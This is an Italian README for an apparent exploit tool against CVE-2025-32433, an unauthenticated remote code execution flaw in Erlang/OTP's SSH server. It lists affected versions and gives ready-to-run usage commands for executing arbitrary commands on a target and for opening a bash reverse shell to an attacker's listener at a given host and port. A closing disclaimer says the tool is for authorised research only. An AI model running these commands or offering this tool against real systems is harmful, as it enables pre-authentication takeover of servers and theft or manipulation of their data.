CVE-2025-32433 Erlang/OTP SSH RCE EXP

Descrizione

È stata identificata una grave vulnerabilità nel server SSH Erlang/OTP che potrebbe consentire a un attaccante di eseguire codice in remoto (RCE) senza autenticazione. Sfruttando un difetto nella gestione dei messaggi del protocollo SSH, un malintenzionato potrebbe ottenere accesso non autorizzato ai sistemi interessati ed eseguire comandi arbitrari senza credenziali valide. Ciò potrebbe portare al compromesso di tali host, consentendo l'accesso non autorizzato e la manipolazione di dati sensibili da parte di terzi, o attacchi denial-of-service.

Versioni interessate

OTP-27.3.2 e precedenti
OTP-26.2.5.10 e precedenti
OTP-25.3.2.19 e precedenti

Caratteristiche

Esecuzione Exploit: Esegue comandi arbitrari.
Reverse Shell: Avvia una reverse shell basata su bash.

Utilizzo

Eseguire un comando:

cve-2025-32433.exe 127.0.0.1 -c 'id'
./cve-2025-32433.lnx 127.0.0.1 -c 'id'

Avviare una reverse shell:

cve-2025-32433.exe 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
./cve-2025-32433.lnx 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444

CVE-2025-32433

Riferimenti

Avviso GitHub

NVD CVE-2025-32433

Platform Security

https://github.com/omer-efe-curkus/CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

Dichiarazione di non responsabilità

Utilizzando questo strumento, attenersi alle leggi e ai regolamenti pertinenti e assicurarsi di testarlo e utilizzarlo in ambienti autorizzati.
Questo strumento è solo per scopi educativi e di ricerca; qualsiasi uso improprio sarà di esclusiva responsabilità dell'utente.